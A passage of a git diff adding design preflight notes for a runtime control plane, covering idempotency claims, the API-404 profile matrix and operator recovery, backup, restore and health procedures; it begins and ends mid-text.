+Unauthorized and absent status reads disclose the same coarse result. + +The existing terminal transaction remains the only successful-operation audit +authority, so concurrent retries cannot append multiple terminal audits. +Admission denials stay on the bounded rejection-audit path. Optional logs and +metrics use module loggers and bounded outcome labels such as new/replay/ +conflict; they contain no raw key, commitment, actor scope, request material, +operation status, path, SQL, or provider exception. Audit, logs, participant +observations, captured evidence, and archival run provenance remain separate +surfaces under ADR-065 and ADR-066. + +### Filesystem and runtime layers + +The local store continues to require its owner lease, private directory and +database permissions, no symlink/reparse/hard-link aliases, identity-pinned +opens, SQLite-owned sidecars, admitted WAL mode, full synchronous writes, +integrity checks, and provider-before-lease shutdown. Atomic idempotency does +not make multiple ASGI workers or multiple control-plane owners supported, and +the database index is not a P3 coordination or fencing mechanism. + +## Coherence and failure semantics + +A store claim is authoritative before any backend call. The winning operation +alone may invoke the backend; every exact concurrent loser returns its receipt +after authorization and never invokes. A process loss after claim retains the +claim and follows CP-3 reconciliation; retry never replays an unclassified +effect. Store transactions do not imply exactly-once external effects. + +Successful claims and commits refresh or invalidate derived maps under the +existing short publication mutex. Claim conflict, revision conflict, and known +rollback reload derived state without reconciliation or backend replay. +Unknown commit outcomes retain the existing readback-and-poison discipline. +The ephemeral sensitive-proof map is not a durable cache and its intentional +loss on restart must not be "repaired" by persisting secret-bearing equality +material. + +Authoritative-read tests must cover `get_operation()`, `observation_execution()`, +`get_snapshot()`, the operational summary, and snapshot-derived participant +views. A response projection owns one exact snapshot/revision cut until it is +complete; a refresh cannot splice records or content from a later revision +into that response. + +## Verification guardrails + +Exercise the same claim contract against the in-memory and local providers. +Concurrent equal claims must produce one operation id, one backend invocation, +one terminal record, one terminal audit, and one snapshot transition. Repeat +the assertion after clean restarts and at claim/invocation/terminal kill +boundaries. Local provider concurrency tests must use real transactions; +runtime profile tests still respect the one-owner lease. + +Adversarial cases cover same key with a different commitment, authorization +scope, parent relation, actor, operation kind, target, and run. Changed +commitment or scope fails without revealing the incumbent; actor/kind and +target/run isolation neither collide nor disclose. Guessing an operation id, +presenting another actor's receipt, and replaying through a participant route +must not return cross-actor status. Credential-bearing retries prove exact +same-process success, changed-secret rejection, restart rejection, and absence +of raw/exact material from all durable and observable surfaces. + +Inject stale `_operations`, stale `_snapshot_state`, and forged receipt-cache +entries, then prove all public status/snapshot projections use the store or the +pinned revision rule. Rebuild tests cover successful commit, conflict, +uncertain store error, restart, and migration. Migration tests cover generic +raw-key predecessors, participant opaque derived keys, duplicate composite +claims, corrupt context, scope mismatch, rollback, and retained terminal and +indeterminate claims. + +## Extension seam + +The extension seam is one provider-neutral atomic claim capability driven by +the existing immutable `OperationAdmissionContext`, a validated client key, +and an operation-specific canonical semantic projection. Adding another +`OperationKind` supplies a new domain-separated projection and authorization +policy but does not add a table, index convention, cache, serializer, or claim +workflow. A future P3 provider implements the same outcome under its accepted +coordination/fencing contract; it does not change claim identity or make a +shared database alone sufficient. + +## Non-goals and anti-patterns + +- No P3, multi-owner service, remote shared database, tenant multiplexing, + leader election, fencing, distributed cache, durable broker, automatic + backend replay, or exactly-once external-effect claim. +- No new public idempotency DTO, receipt/status version, snapshot metadata, + schema family, repository layer, exception hierarchy, authorization stack, + serializer, digest convention, operation state, or audit/evidence carrier. +- No uniqueness on a bare key, on `(key, request_commitment)`, or on a + participant-composed hash that hides actor/kind policy from the store. +- No lookup-then-save path, cache-first receipt, check protected only by the + GIL/application lock, or SQLite transaction held across policy/backend work. +- No use of operation ids, receipts, keys, commitments, snapshot revisions, + history heads, audit sequences, or database row ids as authorization. +- No raw-body hashing, `json.dumps(..., default=str)` commitment, caller-owned + fingerprint authority, unversioned domain separator, or persisted exact + sensitive fingerprint. +- No silent deletion/rekeying of legacy claims, defaulting malformed context, + or migration that lets a formerly claimed key invoke the backend again. +- No weakening of planner authorization, backend-result validation, credential + sanitization, mutation authority, revision CAS, lease admission, startup + reconciliation, strict codecs, filesystem hardening, bounded queues, or + redacted errors in the name of idempotency. +- No change to SDL authoring, processor compilation, backend effect semantics, + `RuntimeManager`, experiment-run provenance, captured evidence, TLS, secret + resolution, backup scheduling, or deployment supervision. diff --git a/docs/decisions/issue-1185-api-404-profile-alignment-preflight.md b/docs/decisions/issue-1185-api-404-profile-alignment-preflight.md new file mode 100644 index 000000000..13a32da88 --- /dev/null +++ b/docs/decisions/issue-1185-api-404-profile-alignment-preflight.md @@ -0,0 +1,159 @@ +# Issue 1185 API-404 Profile Alignment Preflight + +Date: 2026-09-20 + +Issue: #1185. Requirement: API-404. Decision: ADR-104. Work package: +CP-11. Dependency: CP-10 (#1189), landed in `7128f0cc`. + +## Decision + +API-404 remains the normative requirement and remains `ACTIVE`, but its broad +inventory-era sentence must not be read as one universal deployment guarantee. +Its clauses and profile matrix must express three cumulative boundaries: + +1. P0, P1, and P2 share the in-process contract: typed immutable actor context, + authorization on mutation and disclosure, one target/run scope, + actor-scoped idempotency, revision compare-and-swap, one mutation authority, + validation, and atomic operational audit. +2. P1 and P2 additionally guarantee crash-consistent local state, retained + idempotency, exclusive owner admission, and startup classification without + automatic effect replay. +3. P2 additionally guarantees authenticated bounded HTTP admission, + actor-bound disclosure, owner-serialized mutation, and revision-carrying + reads over an explicitly selected P1 core. + +P0's identity is supplied by the trusted embedder. That is an identity and +authorization duty, not a transport-authentication claim. Its state, +idempotency records, and audit are process-lifetime only; process loss has no +restart-recovery or retained-deduplication guarantee. P3 is an unavailable +future seam with no requirement satisfaction or implementation guarantee. + +The requirement must describe obligations, not reproduce provider capability +flags. `raes_runtime.control_plane_profiles` remains the sole executable profile +catalog. ADR-104 and the FM3 model remain design authority; neither is +executable evidence by itself. + +## Clause boundary and profile matrix + +Use stable clause identifiers so traceability and documentation tests can name +the obligation without parsing prose. The exact prose may stay concise, but it +must preserve these semantic cuts: + +| Clause | Obligation | P0 | P1 | P2 | P3 | +| --- | --- | --- | --- | --- | --- | +| common in-process contract | Typed actor provenance, authorization, scoped idempotency, target/run isolation, validation, revision CAS, single mutation authority, and atomic operational audit while the composition exists | required | required | required | not available | +| durable local contract | Crash-consistent authoritative state, retained claims, one owner lease, strict persisted carriers, startup reconciliation, and no automatic replay | explicit nonclaim | required | required through P1 | not available | +| served transport contract | Authenticated and bounded HTTP admission, actor-bound disclosure, single-worker ownership, and revision-bearing reads | no transport claim | no transport claim | required | not available | +| excluded stronger claims | No inferred high availability, multitenancy, multi-owner coordination, exactly-once backend effects, TLS/proxy deployment, or universal recovery proof | explicit where applicable | explicit where applicable | explicit where applicable | no guarantees; future ADR/model required | + +The matrix must use the landed claim vocabulary where one exists: +`in-process-safety`, `actor-scoped-idempotency`, `target-run-isolation`, +`revision-cas`, `atomic-audit`, `durable-state`, `retained-idempotency`, +`lease-admission`, `startup-reconciliation`, `authenticated-transport`, +`actor-bound-disclosure`, `owner-serialized-mutation`, and +`revision-carrying-reads`. Do not mint requirement-local synonyms that appear +to be new runtime guarantees. + +Authorization and validation remain FM3 invariants enforced by the existing +core even though they are not separate `ControlPlaneClaim` identifiers. Do not +drop them from API-404, and do not add duplicate catalog entries merely to make +the prose mechanically one-to-one. + +ADR-104 section 4 and the FM3 `invoke`/write-ahead wording use "durable" while +describing the common operation cut. Do not copy that word into the common +clause without its profile qualification. For P0, `RUNNING`, the terminal +record, and audit are authoritative and atomic only within the live process; +only P1/P2 make them crash-persistent. ADR-104 section 2 and the FM3 +"Concurrency and failure obligations" section already establish that +qualification, so this wording hazard does not require a new architectural +decision. + +## Evidence and traceability authority + +Only landed code and tests establish satisfaction. Keep design provenance as +`DOCUMENTS` links, but do not treat a GitHub issue, ADR, formal model, +implementation-program row, research replay, or preflight note as proof that a +profile guarantee runs. + +| Requirement boundary | Canonical landed implementation | Canonical landed evidence | +| --- | --- | --- | +| Executable profile identity and availability | `implementations/python/packages/raes_runtime/control_plane_profiles.py`; `raes_runtime/__init__.py` | `test_issue_1189_control_plane_profile_declarations.py` | +| Common P0--P2 identity, authorization, idempotency, revision, isolation, and audit | `control_plane.py`; `control_plane_operation_context.py`; `control_plane_admission.py`; `control_plane_mutation.py`; `control_plane_store.py` | `test_issue_1187_control_plane_profiles.py`; `test_issue_1187_control_plane_lifecycle_properties.py`; `test_issue_1184_atomic_idempotency_claims.py` | +| P0 process-loss nonclaim | `control_plane_store_memory.py` | `test_issue_1187_control_plane_process_loss.py::test_p0_process_loss_loses_run_and_claim_even_when_external_effect_survives` | +| P1/P2 durability and recovery | `control_plane_store_local.py` and its codec, path, lease, record, snapshot, durability, and recovery siblings | `test_issue_1187_control_plane_process_loss.py`; `test_issue_1187_control_plane_durable_carriers.py`; `test_issue_1179_startup_reconciliation.py`; durable cases in `test_issue_1187_control_plane_profiles.py` | +| P2 transport authentication and disclosure | `control_plane_api/__init__.py`; `control_plane_api/_auth.py`; `control_plane_api_guards.py`; `control_plane_security.py` | `test_issue_1187_control_plane_security_conformance.py`; P2 cases in `test_issue_1187_control_plane_profiles.py`; `test_runtime_control_plane_api.py` | + +Requirement trace records must keep the repository grammar parsed by +`RepositoryRequirementClient`: one exact `IMPLEMENTS`, `TESTS`, or `DOCUMENTS` +record per bullet with a recognized artifact type and backtick-delimited +identifier. Every local path cited by API-404 must exist at the reviewed commit. +The current repository-source governance check validates syntax, status, phase, +changed-Python coverage, and path ownership; it does not validate target +existence or prove a clause-to-test relationship. The CP-11 documentation check +must therefore pin those two facts directly. + +The check needs an independent expected profile/clause matrix. It may read the +production declarations and the requirement document, but it must not compute +the expected answer from the same production mapping it is testing. It must +also pin P0's durability and restart-recovery nonclaims, P2-only authenticated +transport, P3's empty guarantee set and unavailable selection, and existence of +the requirement's local code/test evidence targets. Reuse +`profile_declaration()` and `RepositoryRequirementClient`; do not introduce a +second profile registry or a second traceability parser. + +## Cross-cutting passage + +CP-11 changes governance prose and its drift check, not runtime behavior. The +claims it publishes still pass through all of these incumbent layers: + +| Layer | Required boundary | +| --- | --- | +| Typed composition | `ControlPlaneConfiguration`, `ControlPlaneOptions`, `ControlPlaneProfile`, `profile_declaration()`, and `PlanScope` remain the closed profile/run shapes. Omitted selection makes no named-profile claim. | +| Provider and persistence admission | `require_profile_capabilities()` checks layer-qualified facts; `adapt_control_plane_store()` independently checks callable/signature shape. P0 uses scope-bound memory state. P1/P2 retain lease-before-inspection, private-path, WAL, schema/migration, strict-codec, digest, integrity, and immutable target/run checks. | +| Identity and authorization | P0/P1 consume `ControlPlaneIdentity` from the trusted embedder. P2 alone passes `_ControlPlaneApiAuth`, bearer precedence or explicitly trusted proxy identity, exact target binding, role/subject authorization, and core admission. Possession of an operation id or idempotency key is never authority. | +| Request and process admission | P2 retains `RequestSizeLimitMiddleware`, bounded mutation/rejection-audit executors, and `require_single_worker_configuration()`. `WEB_CONCURRENCY` and `UVICORN_WORKERS` remain count-only gates, not secret or profile inputs. | +| Secrets and OS exposure | The requirement and test use stable identifiers and synthetic credentials only. They add no token, credential, store path, profile, or run scope to environment variables, process arguments, logs, diagnostics, audit details, or public carriers. TLS termination, proxy stripping, secret loading, filesystem ownership, supervision, and backup policy remain deployment duties. | +| Error envelopes | Keep existing `Diagnostic`/`DiagnosticModel`, denial receipts, stable FastAPI `HTTPException` responses, generic redacted 500 handling, and value-free capability errors. No provider exception text, type, path, SQL, raw request, token, or traceback may become requirement evidence or public output. | +| Audit and observability | `AuditEvent`, terminal atomic audit, bounded rejection audit, value-free health, and module loggers retain distinct roles. Logs and health do not satisfy the audit clause; append-only audit is not tamper evidence, participant observation, or archival run provenance. | +| Governance workflow | `docs/requirements/API-404/requirement.md` is canonical under `tools/policy/requirement_order.yaml`; `tools/policy/repository_requirements.py`, `tools/check_requirement_governance.py`, `.ground-control.yaml`, and `.gc/plan-rules.md` remain the workflow. Keep `RAES_REQUIREMENT_UID=API-404` for local policy checks because the branch has no requirement UID. | + +No schema, DTO, controller, service, repository, codec, exception hierarchy, +logger, environment binding, CLI option, HTTP endpoint, or schema-publication +ledger entry is needed. + +## Extension seam + +Stable clause identifiers plus the profile-to-clause matrix are the +documentation seam. A new store provider satisfies the existing P1 clauses by +the existing protocols and provider facts; it does not add a requirement +profile. A new P2 authentication mechanism still resolves to +`ControlPlaneIdentity`. A future profile can add a matrix row without rewriting +the common clauses, but P3 cannot gain a required clause or guarantee until a +new ADR and formal model define coordination, fencing, partition behavior, +cache coherence, scheduling, and tenant isolation. + +## Non-goals and anti-patterns + +- No runtime, schema, store, HTTP, CLI, or deployment behavior change. +- No API-404 completion status invented. `ACTIVE` is the current governed + status; the repository has no `COMPLETE` status. +- No guarantee inferred from a concrete store class, HTTP presence, successful + lease, passing health probe, documentation statement, or test fixture name. +- No P0 transport-authentication, durability, restart-recovery, retained + deduplication, or exactly-once-effect implication. +- No P1 transport-authentication claim; its actor boundary is the trusted + embedder. +- No P2 TLS, proxy correctness, secret management, multi-worker, high + availability, multitenancy, or exactly-once-effect claim. +- No P3 guarantee, placeholder satisfaction, selectable composition, or + speculative capability list. +- No conflation of control-plane operating profiles with backend, SDL/domain, + validation, realization, or conformance profiles. +- No duplicate profile table in JSON/YAML, published schema, Ground Control + sidecar, test fixture, or documentation helper. +- No duplicate validation, store protocol, operation lifecycle, audit model, + diagnostic family, exception hierarchy, or requirement parser. +- No trace link to a planned branch, unmerged test, future evidence bundle, or + GitHub issue used as a substitute for implementation evidence. +- No ADR-104 amendment unless the implementation changes an architectural + guarantee. The landed CP-10 amendment already defines this boundary. diff --git a/docs/decisions/issue-1186-control-plane-recovery-operations-preflight.md b/docs/decisions/issue-1186-control-plane-recovery-operations-preflight.md new file mode 100644 index 000000000..69345563e --- /dev/null +++ b/docs/decisions/issue-1186-control-plane-recovery-operations-preflight.md @@ -0,0 +1,419 @@ +# Issue 1186 Control-Plane Recovery Operations Preflight + +Date: 2026-09-19 + +Issue: #1186. Requirement: API-404. Decision: ADR-104. Work package: CP-12. +The issue body and ADR-104 remain authoritative. This note fixes the +operator-facing boundaries that are not already fixed by CP-3, CP-5, and CP-6; +it does not define another lifecycle, persistence profile, or implementation +program. + +## Decision + +CP-12 composes the existing runtime lifecycle and local-store guarantees into +operator procedures. It does not add a recovery daemon or a second state +machine. Keep three surfaces distinct: + +- live runtime lifecycle: startup reconciliation, admission, mutation drain, + provider close, and lease release owned by `RuntimeControlPlane`; +- offline P1 maintenance: integrity checking, backup, restore, and upgrade + migration performed only while holding the same local-store ownership lease; + and +- deployment responsibilities: target/backend backup alignment, TLS, proxy + identity, service accounts, process supervision, secret resolution, and + retention or off-host copying of backup artifacts. + +The current repository has no control-plane serve command, maintenance CLI, +health endpoint, or general SQLite backup/restore operation. The timestamped +legacy JSON copy made during first import is migration rollback material, not a +supported operator backup. The existing operational-apparatus summary is an +authorized, value-bearing view and is not a health or diagnostics response. +The current request-path audit targets, `_conflict_detail()` fall-through to +`str(error)`, exception-class audit reasons, and rejection logger are known +redaction gaps to close in this work; they are not precedents for new surfaces. + +## Recovery procedures and immutable history + +The runbook uses the CP-3 closed classification and existing carriers. It does +not infer outcomes from process exit, request cancellation, timeout, retry, or +an operator's expectation. + +| Durable outcome | Operator meaning | Permitted next action | +| --- | --- | --- | +| `FAILED`/`CANCELLED` with `runtime.control-plane.recovery-effect-absent` | The admitted effect is known absent. | Submit new work through ordinary admission with a fresh idempotency key if the effect is still wanted. Do not edit or delete the original. | +| `SUCCEEDED` with `runtime.control-plane.recovery-effect-applied` | Recovery observation established and validated the effect. | Treat the committed snapshot and operation as authoritative. Do not repeat the effect. | +| `INDETERMINATE` with `runtime.control-plane.recovery-effect-unobservable` | The effect cannot be established and the target/run is quarantined for new effects. | Inspect through authorized status and backend-specific deployment procedures, then create a separately authorized linked resolution operation. Never rewrite the parent or reuse its idempotency key. | + +`OperationState`, `OperationKind`, `OperationAdmissionContext.parent_operation_id`, +`IndeterminateResolutionDisposition`, and +`resolve_indeterminate_operation()` are the only incumbent resolution +vocabulary. The current administrative disposition accepts the stored snapshot +through an `INDETERMINATE_RESOLUTION` child. An explicitly authorized new +backend attempt is ordinary work with a fresh claim and full validation; it +must gain parent linkage through the same admission context rather than being +called an administrative disposition or silently replaying the parent. A +future additional disposition belongs in the existing closed enum and codec, +not in free-form runbook text or `AuditEvent.details`. + +Resolution requires the current typed operator identity and exact target/run +and subject scope. Possession of a database, operation id, receipt, or +idempotency key is not authority. The parent remains terminal, its claim +remains reserved, and its actor, timestamps, commitment, diagnostics, and audit +remain unchanged. + +## Startup, readiness, and shutdown + +The P1/P2 startup order remains one indivisible readiness gate: + +1. validate trusted typed composition and the single-worker posture; +2. secure and identity-pin the store root, then acquire and verify the owner + lease; +3. open the provider and verify immutable target/run scope, WAL mode, schema, + supported migration, strict codecs, payload digests, and SQLite integrity; +4. load authoritative state and validate target/manifest/component and + persisted runtime semantics; +5. reconcile every `ACCEPTED` and `RUNNING` operation under the mutation + authority without replay; and +6. publish committed derived state and only then report ready. + +Construction failure is the current pre-readiness behavior: an app must not be +composed around a partially initialized control plane. A served health surface +therefore cannot claim an intermediate runtime is ready merely because its +process or HTTP stack is reachable. A later composition that creates the +runtime inside ASGI lifespan must expose the same ordered phases rather than +inventing weaker readiness semantics. + +Readiness is false when the lease is absent or lost, startup admission has not +finished, reconciliation or authoritative reload failed, durability is +poisoned, shutdown has started, or an unresolved indeterminate operation keeps +the target/run quarantined. Liveness reports only that the process and health +handler can respond; it does not touch the store, authenticate a backend, or +imply readiness. Health probes do not append audit events, because probe +traffic must not make readiness depend on a writable audit sink or create an +unbounded audit stream. + +Normal shutdown preserves this order: + +1. stop HTTP and core admission; +2. drain queued and admitted calls, including the logical mutation owner and + any backend call whose cancellation did not stop the worker; +3. allow the existing terminal commit/readback discipline to settle the + operation; unknown effects remain governed recovery work, not guessed + success or cancellation; +4. close provider resources; and +5. release the owner lease only after close succeeds. + +Reuse `_ControlPlaneCallExecutor.close()`, `RuntimeLifecycleMixin.close()`, +`runtime_owned`, `RuntimeMutationAuthority`, and `RuntimeOwnerLease`. Do not add +a route-local drain flag, a second active-call counter, or a signal handler +that closes the store directly. If provider close cannot be confirmed, retain +the lease and fail closed. + +## Backup, restore, upgrade, and migration + +Operator backup and restore are P1 local-provider maintenance operations, not +portable `ControlPlaneStore` methods and not control-plane mutations. P0 has no +durable backup claim. P2 uses the same P1 store procedure after served +admission is stopped and drained. Custom providers own equivalent procedures +and claims outside the local reference implementation. + +The supported local backup boundary must: + +- stop and drain the owning runtime, or enter a provider maintenance session + that holds the same exclusive lease and admits no runtime owner; +- verify the expected normalized target/run scope before copying; +- use SQLite's consistent backup mechanism through an admitted connection, + not copy the main database, `-wal`, `-shm`, or `-journal` paths as an + independently meaningful file set; +- validate the resulting database with the incumbent schema, scope, strict + record/snapshot/audit codecs, payload digests, and SQLite integrity checks; +- write to a private temporary regular file, synchronize file content, publish + by same-filesystem atomic replacement, and synchronize the destination + directory; refuse an existing destination unless the operator selected an + explicit replacement policy; and +- report only a stable success/failure code. The selected source or destination + path does not enter audit, logs, diagnostics, health, or machine-readable + output. + +A backup preserves the database's target/run metadata, snapshot revision, +operations, idempotency claims, and audit sequence as one state cut. It does +not back up external backend state, credentials, TLS material, proxy +configuration, or archival experiment evidence. Backup retention, encryption, +off-host transfer, access control outside the private local directory, and +target-native backups are deployment responsibilities. + +Restore is offline and fail-closed. The maintenance tool holds the destination +lease before inspecting or replacing provider state, validates the staged +backup and exact expected target/run scope before publication, and performs any +supported schema migration on a private working copy rather than the supplied +backup or authoritative destination. It retains or creates a recoverable +pre-restore copy when replacing an existing database without changing the +authoritative database's journal mode, closes its own destination connections, +and verifies that no stale destination +`-wal`, `-shm`, or `-journal` file can be associated with the replacement +before the atomic replace and file/directory synchronization. Publication +failure retains the previous store; a failure after publication rolls back the +replacement, and an unconfirmed rollback retains the exclusive lease. Sidecar +safety uses descriptor/type/identity checks and the exclusive lease; it is not +a glob or best-effort unlink. Restore never copies an owner file, adopts scope +from a filename, rewrites operation history, drops idempotency claims, mutates +the supplied backup, or restores into a live provider. After publication, +ordinary provider admission repeats WAL/schema/integrity/codec checks and CP-3 +startup reconciliation before readiness. + +A database backup alone cannot prove that an external target is at the same +cut. Before restoring a previously used target/run, the deployment must restore +or independently establish the matching backend state. Where that cannot be +established, the operator must keep the service unready and use the existing +indeterminate-resolution boundary; the core must not fabricate successful +operations or infer target state from the restored snapshot. The runbook must +state this nonclaim next to the restore procedure. + +Upgrade procedure ordering is: drain and close; take and verify a pre-upgrade +backup with the old admitted code; install the new code; start with the same +explicit target/run scope; acquire the lease; run the existing transactional +schema migration and integrity/codec gates; reconcile; then become ready. +Unknown or newer schema versions fail without mutation. Downgrade is not a +restore procedure. A migration failure leaves the old database or transaction +authoritative and the service unready; it does not trigger destructive cleanup +or automatic backup deletion. + +## Health, diagnostics, audit, and logging + +Health output is a small closed projection. It may contain only a closed status +(`live`, `ready`, or `unready`) and a bounded, deduplicated list of stable reason +codes such as lease, startup, recovery, poisoned, or draining. It contains no +target/run/actor/operation identities, timestamps, revision values, resource +counts, paths, schema or SQL text, provider/backend names, exception classes or +messages, credentials, request data, or snapshot values. The unready response +uses a fixed service-unavailable status and does not distinguish authorization +or existence details. Do not reuse `operational_apparatus_summary()` or return +`AuditEvent`, `Diagnostic`, or exception objects from health. + +Operational diagnostics continue through `Diagnostic`/`DiagnosticModel` and +stable namespaced codes with bounded messages and JSON-Pointer locations. +Provider, migration, restore, observation, and close failures collapse to +coarse fixed messages at CLI and HTTP boundaries. `str(exception)`, Pydantic +input echoes, SQLite statements, tracebacks, native backend output, and +exception chaining in logs are prohibited disclosure sources. + +`AuditEvent` remains the one append-only operational audit carrier. Tighten its +existing strict persisted codec and creation boundary rather than publishing a +second audit schema. Every string, collection, and `details` payload needs +explicit count/length/depth/encoded-size bounds, and details must be limited to +allowlisted value-free scalars, stable identifiers/digests, counts, booleans, +and closed codes already required by the owning operation family. Route audits +must use the immutable target scope and stable action; `request.url.path` and +ASGI `scope["path"]` are not audit targets. Append-only audit is not tamper +evidence, captured evidence, participant observation, or run provenance. +Tightening the persisted carrier is a local-store format change: advance +`LOCAL_OPERATION_SCHEMA_VERSION`, validate every predecessor event under the +lease, and fail closed on an event that cannot satisfy the bounded carrier. +Never truncate, sanitize in place, or silently drop historical events to make +an upgrade pass. + +Module logging remains optional operational telemetry. Replace the current +rejection warning that formats request path/reason values and the +`_LOGGER.exception()` rejection-audit persistence-failure path with fixed event +codes and bounded counts/outcomes, without exception info. Logs do not +duplicate audit records or emit actor scope, operation ids, paths, SQL, raw +requests, tokens, credentials, backend/provider text, snapshot values, or +scenario data. + +All lease waits, drain bounds, provider busy timeouts, backup timestamps, +operation/audit timestamps, readiness age, and recovery time use the apparatus +wall/monotonic clock. `RuntimeSnapshot.time_model_state`, `TimeRuntime`, SDL +timelines, participant clocks, and caller-authored scenario time are never +clock inputs to these operations. Reuse `_utc_now()` for the incumbent UTC +timestamp format and monotonic elapsed time for bounded waits; test-only clock +injection must remain explicitly operational and cannot accept a `TimeRuntime`. + +## Canonical incumbents + +- ADR-104 and `specs/formal/runtime-control-plane/README.md` own profiles, + lifecycle, immutable indeterminacy, linked resolution, authority, and time + separation. +- `control_plane_recovery.py`, the recovery-observation backend protocol and + manifest capability, and `_validated_backend_result()` own classification, + neutral observation, candidate validation, quarantine, and resolution. +- `OperationState`, `OperationKind`, `OperationAdmissionContext`, operation + receipts/statuses, and their closed published models own public lifecycle + shape. CP-12 adds no recovery DTO family. +- `ControlPlaneConfiguration`, `PlanScope`, `RuntimeTarget`, and + `_validate_runtime_target_shape()` own trusted target/run composition and + component validation. `runtime_target_scope()` owns the incumbent bounded + target-scope normalization. No CLI or request selects scope from store + contents. +- `RuntimeLifecycleMixin`, `RuntimeMutationAuthority`, + `_ControlPlaneCallExecutor`, and FastAPI lifespan own admission, drain, + cancellation settlement, close, and lease-release ordering. +- `LocalControlPlaneStore`, `RuntimeOwnerLease`, the existing metadata table, + SQLite transaction/migration helpers, strict codecs, snapshot CAS, WAL/full + synchronous admission, `PRAGMA quick_check`, and + `control_plane_store_paths.py` own local persistence and filesystem safety. + Backup/restore must reuse these checks rather than shelling out to `sqlite3` + or duplicating them in the CLI. +- `ControlPlaneSecurityConfig.strict_defaults()`, `_ControlPlaneApiAuth`, + `RequestSizeLimitMiddleware`, closed FastAPI request models, and the shared + response helpers own P2 authentication, authorization, request shape/size, + overload, and error-envelope placement. The current `_conflict_detail()` + fallback, per-route `detail=str(exc)`, dynamic exception-class audit reason, + and unguarded secondary-audit failure are remediation sites, not approved + coarse-envelope behavior. +- `AuditEvent`, `_AuditEventModel`, `Diagnostic`/`DiagnosticModel`, module + loggers, ADR-066, and the existing account-credential/value-free projection + helpers own operational observability and redaction. The apparatus summary + remains a separate authorized view. +- `raes_cli.main` and Typer sub-app registration are the incumbent operator CLI + composition. Any local maintenance commands delegate to runtime-owned + maintenance functions; CLI callbacks do not open SQLite, migrate rows, or + implement redaction themselves. The ADR-104 amendment narrows ADR-036's + module boundary to permit only this closed public maintenance import; other + CLI-to-runtime imports remain forbidden. +- `.ground-control.yaml`, `.gc/plan-rules.md`, `noxfile.py`, + `tools/check_repo_policy.py`, `tools/check_requirement_governance.py`, and + `tools/verify_all.py` remain the workflow gates. ADR-015's 500-line + non-test-source cap requires the cohesive maintenance implementation to stay + out of already-large route/store modules. Release-please owns the changelog. + +## Cross-cutting gates + +- **Authentication and authorization:** ordinary status and resolution retain + bearer/verified-proxy authentication, constant-time token comparison, exact + target binding, roles, and subject scopes. A public health probe exposes only + the constant safe projection above and performs no state-changing work. + Offline maintenance is authorized by host access plus exclusive lease and + explicit expected target/run scope; it is not authorized by a database path. +- **Secrets and configuration:** use `ControlPlaneConfiguration` and + `ControlPlaneSecurityConfig` as explicit in-memory shapes. Add no token, + credential, encryption key, secret reference, proxy trust, or service-account + value to a command argument, environment variable, portable schema, health + response, log, audit, or diagnostic. `RuntimeEnvironmentVariable` remains a + scenario payload contract, not service configuration. A store/backup path is + an operator-selected locator, never derived from request or scenario values, + and must not be echoed after parsing. +- **Persisted shape and semantic validation:** every restored or migrated row + passes the same `_OperationRecordModel`, `_AuditEventModel`, snapshot codec, + operation transition/context, target/run scope, participant-history, + realization, information-state, and credential gates used at startup. + SQLite `quick_check` and payload hashes complement these validators; neither + replaces them. +- **Filesystem and OS exposure:** retain private directory/file modes, + ownership/type/link/reparse checks, directory and database identity pinning, + SQLite-owned sidecars, same-filesystem staging, file-before-directory fsync, + and the owner lease. Do not put secrets in argv or subprocess environments, + and do not invoke a database shell. The path locator may be visible to the + local process supervisor, so it is not a secret channel. +- **Error envelopes:** reuse stable `401`/`403`/`404`/`409`/`422`/`503`/`500` + HTTP behavior and a small fixed CLI exit taxonomy. No maintenance exception + hierarchy, provider-specific HTTP status, or `detail=str(exc)` conversion is + needed. Tighten the shared conversion boundary rather than adding another + route-local mapper. Failed secondary audit must not replace the original + coarse error or escape to the framework's default handler. +- **Contract workflow:** internal health and maintenance status models stay + private unless the implementation intentionally publishes them. A public + contract change requires `schema_bundle()`, the schema-publication manifest, + generated-schema parity, fixtures, and ADR-061 governance. SQLite evolution + continues through `LOCAL_OPERATION_SCHEMA_VERSION`; it is not a portable + JSON schema. + +## Extension seam + +The required seam is one lease-admitted local maintenance session, selected by +a closed operation (`check`, `backup`, or `restore`) and parameterized by the +explicit expected target/run scope and operator-selected source/destination. +Backup also carries an explicit destination-conflict policy whose safe default +is refusal. It reuses the local provider's path, scope, connection, codec, +integrity, migration, and synchronization helpers and returns only a closed +value-free result. The CLI is an adapter over that seam. A future storage +provider may implement a different atomic snapshot mechanism without changing +operation DTOs, health, HTTP authentication, or the runbook's ordering +invariants. + +The health seam is a separate read-only projection of lifecycle milestones and +unresolved-recovery state. It must not become a generic metrics dictionary. +One obvious future deployment may mount the same projection on another probe +transport; keeping the projection transport-neutral avoids re-deriving +readiness in each adapter. + +## Verification guardrails + +Executable smoke coverage must record ordering, not only final success: + +- backup/restore: lease before inspection, no runtime owner, exact scope, + consistent SQLite backup, strict decode and integrity checks, file then + directory fsync, no sidecar copying or stale destination sidecars, source + backup immutability, explicit destination-conflict behavior, failed-stage + rollback, and restart reconciliation before ready; +- upgrade/migration: pre-upgrade backup, supported predecessor success, + unknown/newer schema refusal, injected transaction/fsync failure, unchanged + authority after failure, and same target/run identity; +- readiness/drain: every startup failure remains unready, unresolved + indeterminacy remains unready, admission stops before draining, backend and + mutation settlement precede provider close, and close precedes lease release; +- recovery: each CP-3 classification, no replay counters, operator-only linked + resolution, immutable parent, fresh child key, and quarantine until resolved; + and +- redaction: seed bearer tokens, credentials, request bodies and paths, SQL, + provider/backend exception text, and snapshot values, then assert absence + across health, audit serialization, diagnostics, logs, CLI stdout/stderr, and + HTTP errors, including audit/store failure paths. + +Use real processes for lease contention and process-visible shutdown tests. +Use instrumented providers for event ordering and injected failures. Do not +make wall-clock sleeps the ordering oracle. + +## Gotchas and anti-patterns + +- Do not call `operational_apparatus_summary()` health or expose it without its + existing authorization; it includes value-bearing identities, timestamps, + addresses, and scenario/runtime classifications. +- Do not make health readiness a database query that can migrate state, append + audit, acquire a second lease, invoke a backend, or block behind mutation. +- Do not copy an open WAL database with ordinary file copy, copy SQLite + sidecars as a backup format, or validate only `quick_check` while skipping + strict payload codecs and scope checks. +- Do not replace the main database while a prior `-wal`, `-shm`, or `-journal` + can still bind to that pathname, mutate the supplied restore artifact during + validation/migration, or overwrite a backup destination implicitly. +- Do not let backup/restore bypass the lease because it is "read only," infer + target/run from a filename or newest operation, restore over a live or + identity-pinned connection, or release the lease after an uncertain close. +- Do not describe the legacy JSON migration copy as disaster recovery, delete + it automatically, or make an incomplete failed backup authoritative. +- Do not turn `INDETERMINATE` into mutable status, delete/reassign its claim, + reuse the parent key, replay automatically, or encode 